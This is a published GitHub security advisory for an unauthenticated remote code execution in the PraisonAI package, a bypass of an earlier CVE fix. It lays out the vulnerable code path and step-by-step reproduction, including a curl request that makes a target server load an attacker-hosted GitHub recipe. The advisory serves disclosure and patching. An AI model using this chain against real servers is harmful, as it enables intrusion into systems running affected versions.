GHSA-XCMW-GRXF-WJHJ

Vulnerability from github – Published: 2026-05-06 22:08 – Updated: 2026-05-12 13:33
VLAI?
Summary
PraisonAI has unauthenticated RCE via `tool_override.py` (CVE-2026-40287 patch bypass)
Details

TL;DR

CVE-2026-40287's fix gated tools.py auto-import behind PRAISONAI_ALLOW_LOCAL_TOOLS=true in two files (tool_resolver.py, api/call.py). A third import sink in praisonai/templates/tool_override.py was missed and remains unguarded. It is reached by the recipe runner on every recipe execution and is remotely triggerable through POST /v1/recipes/run with a recipe value pointing at any local absolute path or any GitHub repo (because SecurityConfig.allow_any_github defaults to True). The attacker drops a tools.py next to TEMPLATE.yaml; the server exec_module()s it. No auth required by default, no environment opt-in required.

Patch coverage gap

CVE-2026-40287 was fixed in v4.5.139 by adding an env-var gate at:

File Line Gate
praisonai/tool_resolver.py 77 if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":
praisonai/api/call.py 80 same

But the equivalent sinks in praisonai/templates/tool_override.py were not patched:

# tool_override.py - create_tool_registry_with_overrides()
332    cwd_tools_py = Path.cwd() / "tools.py"
333    if cwd_tools_py.exists():
334        try:
335            tools = loader.load_from_file(str(cwd_tools_py))   # <-- exec_module
336            registry.update(tools)
337        except Exception:
338            pass
339
341    # 4. Template-local tools.py
342    if template_dir:
343        tools_py = Path(template_dir) / "tools.py"
344        if tools_py.exists():
345            try:
346                tools = loader.load_from_file(str(tools_py))   # <-- exec_module
347                registry.update(tools)
348            except Exception:
349                pass

load_from_file (line 84-94) ends in spec.loader.exec_module(module) with no allowlist, no signature check, no env gate. Both call sites run unconditionally on every recipe execution.

Attack chain

HTTP POST /v1/recipes/run
  body: {"recipe": "<abs path>" | "github:<owner>/<repo>/<recipe>"}
        │
        ▼
recipe/serve.py:483   run_recipe(request)              ← auth=none default
        │
        ▼
recipe/core.py:215    recipe.run(name, ...)
        │
        ▼
recipe/core.py:686    _load_recipe(name)
                      └─ ".." check only; absolute paths and URIs allowed
        │
        ▼
templates/loader.py:94    TemplateLoader.load(uri)
        │
        ▼
templates/security.py:130 is_source_allowed("github:*")
                          └─ allow_any_github=True default → returns True
        │
        ▼
templates/registry.py     fetch repo from raw.githubusercontent.com → cache dir
        │
        ▼
templates/security.py:215 validate_template_directory(cached.path)
                          └─ .py is in allowed_extensions → tools.py kept
        │
        ▼
recipe/core.py:887        _execute_recipe(recipe_config, ...)
        │
        ▼
recipe/core.py:943        create_tool_registry_with_overrides(
                              include_defaults=True,
                              template_dir=recipe_config.path)
        │
        ▼
templates/tool_override.py:341-349   load_from_file(template_dir/tools.py)
        │
        ▼
templates/tool_override.py:94        spec.loader.exec_module(module)   ← RCE

The tool registry build runs before any LLM/agent step, so OPENAI_API_KEY and similar are not required. A recipe with an empty workflow.steps: [] is sufficient - the payload fires during registry construction.

Confirmed execution (2026-04-25, praisonai 4.6.31)

SERVER stdout (PID 43784):
  Uvicorn running on http://127.0.0.1:8765
  127.0.0.1 - POST /v1/recipes/run HTTP/1.1
  [CVE-2026-40287-bypass] RCE fired. Marker written to: …/praisonai_pwn_1777094071.txt
  127.0.0.1 - "POST /v1/recipes/run" 500 Internal Server Error

Marker file:
  pid: 43784            ← matches server PID
  argv: ['server.py']   ← server process, not exploit

The 500 response is a downstream side-effect of workflow.steps: [] failing to construct a runnable workflow; the exec_module(tools.py) call runs before that error. The attacker payload has already executed in the server process by the time the 500 is sent.

Reproduction (local-path variant)

Files under pocs/praisonai-cve-2026-40287-bypass/:

pip install 'praisonai[serve]==4.6.31'

# Terminal 1
python server.py

# Terminal 2
python exploit.py

Expected: server stdout shows [CVE-2026-40287-bypass] RCE fired.; a praisonai_pwn_<timestamp>.txt file appears in the system temp directory containing user, host, pid, cwd captured from inside the server process.

Reproduction (remote GitHub variant)

# Push evil_recipe/ to https://github.com/<you>/poc-recipe (public repo)

curl -X POST http://target:8765/v1/recipes/run \
     -H 'Content-Type: application/json' \
     -d '{"recipe":"github:<you>/poc-recipe/poc-recipe"}'

No filesystem prerequisite on the target. Triggers because SecurityConfig.allow_any_github (templates/security.py:30) defaults to True.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.6.31"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.5.139"
            },
            {
              "fixed": "4.6.32"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44334"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T22:08:58Z",
    "nvd_published_at": "2026-05-08T14:16:46Z",
    "severity": "HIGH"
  },
  "details": "## TL;DR\n\nCVE-2026-40287\u0027s fix gated `tools.py` auto-import behind `PRAISONAI_ALLOW_LOCAL_TOOLS=true` in **two** files (`tool_resolver.py`, `api/call.py`). A **third** import sink in `praisonai/templates/tool_override.py` was missed and remains unguarded. It is reached by the recipe runner on every recipe execution and is **remotely** triggerable through `POST /v1/recipes/run` with a `recipe` value pointing at any local absolute path *or* any GitHub repo (because `SecurityConfig.allow_any_github` defaults to `True`). The attacker drops a `tools.py` next to `TEMPLATE.yaml`; the server `exec_module()`s it. No auth required by default, no environment opt-in required.\n\n## Patch coverage gap\n\nCVE-2026-40287 was fixed in v4.5.139 by adding an env-var gate at:\n\n| File | Line | Gate |\n|---|---|---|\n| `praisonai/tool_resolver.py` | 77 | `if os.environ.get(\"PRAISONAI_ALLOW_LOCAL_TOOLS\", \"\").lower() != \"true\":` |\n| `praisonai/api/call.py` | 80 | same |\n\nBut the equivalent sinks in `praisonai/templates/tool_override.py` were **not** patched:\n\n```python\n# tool_override.py - create_tool_registry_with_overrides()\n332    cwd_tools_py = Path.cwd() / \"tools.py\"\n333    if cwd_tools_py.exists():\n334        try:\n335            tools = loader.load_from_file(str(cwd_tools_py))   # \u003c-- exec_module\n336            registry.update(tools)\n337        except Exception:\n338            pass\n339\n341    # 4. Template-local tools.py\n342    if template_dir:\n343        tools_py = Path(template_dir) / \"tools.py\"\n344        if tools_py.exists():\n345            try:\n346                tools = loader.load_from_file(str(tools_py))   # \u003c-- exec_module\n347                registry.update(tools)\n348            except Exception:\n349                pass\n```\n\n`load_from_file` (line 84-94) ends in `spec.loader.exec_module(module)` with no allowlist, no signature check, no env gate. Both call sites run unconditionally on every recipe execution.\n\n## Attack chain\n\n```\nHTTP POST /v1/recipes/run\n  body: {\"recipe\": \"\u003cabs path\u003e\" | \"github:\u003cowner\u003e/\u003crepo\u003e/\u003crecipe\u003e\"}\n        \u2502\n        \u25bc\nrecipe/serve.py:483   run_recipe(request)              \u2190 auth=none default\n        \u2502\n        \u25bc\nrecipe/core.py:215    recipe.run(name, ...)\n        \u2502\n        \u25bc\nrecipe/core.py:686    _load_recipe(name)\n                      \u2514\u2500 \"..\" check only; absolute paths and URIs allowed\n        \u2502\n        \u25bc\ntemplates/loader.py:94    TemplateLoader.load(uri)\n        \u2502\n        \u25bc\ntemplates/security.py:130 is_source_allowed(\"github:*\")\n                          \u2514\u2500 allow_any_github=True default \u2192 returns True\n        \u2502\n        \u25bc\ntemplates/registry.py     fetch repo from raw.githubusercontent.com \u2192 cache dir\n        \u2502\n        \u25bc\ntemplates/security.py:215 validate_template_directory(cached.path)\n                          \u2514\u2500 .py is in allowed_extensions \u2192 tools.py kept\n        \u2502\n        \u25bc\nrecipe/core.py:887        _execute_recipe(recipe_config, ...)\n        \u2502\n        \u25bc\nrecipe/core.py:943        create_tool_registry_with_overrides(\n                              include_defaults=True,\n                              template_dir=recipe_config.path)\n        \u2502\n        \u25bc\ntemplates/tool_override.py:341-349   load_from_file(template_dir/tools.py)\n        \u2502\n        \u25bc\ntemplates/tool_override.py:94        spec.loader.exec_module(module)   \u2190 RCE\n```\n\nThe tool registry build runs *before* any LLM/agent step, so `OPENAI_API_KEY` and similar are not required. A recipe with an empty `workflow.steps: []` is sufficient - the payload fires during registry construction.\n\n## Confirmed execution (2026-04-25, praisonai 4.6.31)\n\n```\nSERVER stdout (PID 43784):\n  Uvicorn running on http://127.0.0.1:8765\n  127.0.0.1 - POST /v1/recipes/run HTTP/1.1\n  [CVE-2026-40287-bypass] RCE fired. Marker written to: \u2026/praisonai_pwn_1777094071.txt\n  127.0.0.1 - \"POST /v1/recipes/run\" 500 Internal Server Error\n\nMarker file:\n  pid: 43784            \u2190 matches server PID\n  argv: [\u0027server.py\u0027]   \u2190 server process, not exploit\n```\n\nThe 500 response is a downstream side-effect of `workflow.steps: []` failing to construct a runnable workflow; the `exec_module(tools.py)` call runs *before* that error. The attacker payload has already executed in the server process by the time the 500 is sent.\n\n## Reproduction (local-path variant)\n\nFiles under `pocs/praisonai-cve-2026-40287-bypass/`:\n\n- [evil_recipe/TEMPLATE.yaml](https://github.com/user-attachments/files/27079207/TEMPLATE.yaml) - minimal recipe metadata\n- [evil_recipe/tools.py](https://github.com/user-attachments/files/27079210/tools.py) - payload (writes a marker file in tempdir)\n- [server.py](https://github.com/user-attachments/files/27079211/server.py) - starts `praisonai.recipe.serve.create_app({})` on `127.0.0.1:8765` (default `auth: none`)\n- [exploit.py](https://github.com/user-attachments/files/27079214/exploit.py) - single POST to `/v1/recipes/run`\n\n```bash\npip install \u0027praisonai[serve]==4.6.31\u0027\n\n# Terminal 1\npython server.py\n\n# Terminal 2\npython exploit.py\n```\n\nExpected: server stdout shows `[CVE-2026-40287-bypass] RCE fired.`; a `praisonai_pwn_\u003ctimestamp\u003e.txt` file appears in the system temp directory containing user, host, pid, cwd captured from inside the server process.\n\n## Reproduction (remote GitHub variant)\n\n```bash\n# Push evil_recipe/ to https://github.com/\u003cyou\u003e/poc-recipe (public repo)\n\ncurl -X POST http://target:8765/v1/recipes/run \\\n     -H \u0027Content-Type: application/json\u0027 \\\n     -d \u0027{\"recipe\":\"github:\u003cyou\u003e/poc-recipe/poc-recipe\"}\u0027\n```\n\nNo filesystem prerequisite on the target. Triggers because `SecurityConfig.allow_any_github` (templates/security.py:30) defaults to `True`.",
  "id": "GHSA-xcmw-grxf-wjhj",
  "modified": "2026-05-12T13:33:21Z",
  "published": "2026-05-06T22:08:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xcmw-grxf-wjhj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44334"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-g985-wjh9-qxxc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI has unauthenticated RCE via `tool_override.py` (CVE-2026-40287 patch bypass)"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…